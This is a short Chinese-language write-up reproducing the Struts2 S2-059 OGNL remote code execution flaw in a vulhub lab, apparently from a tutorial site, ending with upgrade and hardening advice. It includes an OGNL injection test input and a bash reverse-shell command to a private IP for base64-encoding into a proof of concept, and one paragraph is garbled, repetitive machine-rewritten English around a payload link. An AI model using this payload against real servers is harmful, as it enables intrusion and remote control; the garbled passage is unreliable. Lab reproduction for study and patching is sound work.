Struts2 是 Apache 軟體組織推出的一個相當強大的 Java Web 開源框架,本質上相當於一個 servlet。 Struts2 基於 MVC 架構,框架結構清晰。通常作為控制器(Controller)來建立模型與視圖的資料交互,用於創建企業級 Java web 應用程序,它利用並延伸了Java Servlet API,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。
攻擊者可以透過建構惡意的OGNL表達式,並將其設定到可被外部輸入進行修改,並且會執行OGNL表達式的Struts2標籤的屬性值,引發OGNL表達式解析,最終造成遠端程式碼執行的影響。
Struts 2.0.0 – Struts 2.5.20
#1.本次漏洞環境使用vulhub快速搭建,vulhub下載位址如下:
https://github.com/vulhub/vulhub
cd vulhub-master/struts2/s2-059
2.使用docker-compose快速建立目標場環境
docker-compose up -d
3.啟動完成後在瀏覽器存取http://ip:8080/?id=1 就可以看到測試介面
1.在瀏覽器存取http://ip:8080/?id=%{88*88},可以發現執行的88*88成功被解析了,會執行OGNL表達式的Struts2標籤的屬性值,引發OGNL表達式解析。
2.使用poc來反彈shell,反彈shell的payload需要使用base64編碼
bash -i >& /dev/tcp/172.16. 1.132/9967 0>&1
base64編碼網址:
The original sentence is already a complete sentence that is providing a link. If I were to rewrite it, sentence that is providing a link. If I were to rewrite it, it could be something like be something like it, something like it, something like be something like be something like like like Here is a link to a webpage containing information about runtime exec payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.
3.修改poc中的payload為自己的payload,然後使用python運行,可以看到反彈了shell
0x05修復建議
1.升級到Struts 2.5.22或更高版本2. 開啟ONGL表達式註入保護措施。 ######https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable###以上是Struts2 S2-059 遠端程式碼執行漏洞復現是怎麼樣的的詳細內容。更多資訊請關注PHP中文網其他相關文章!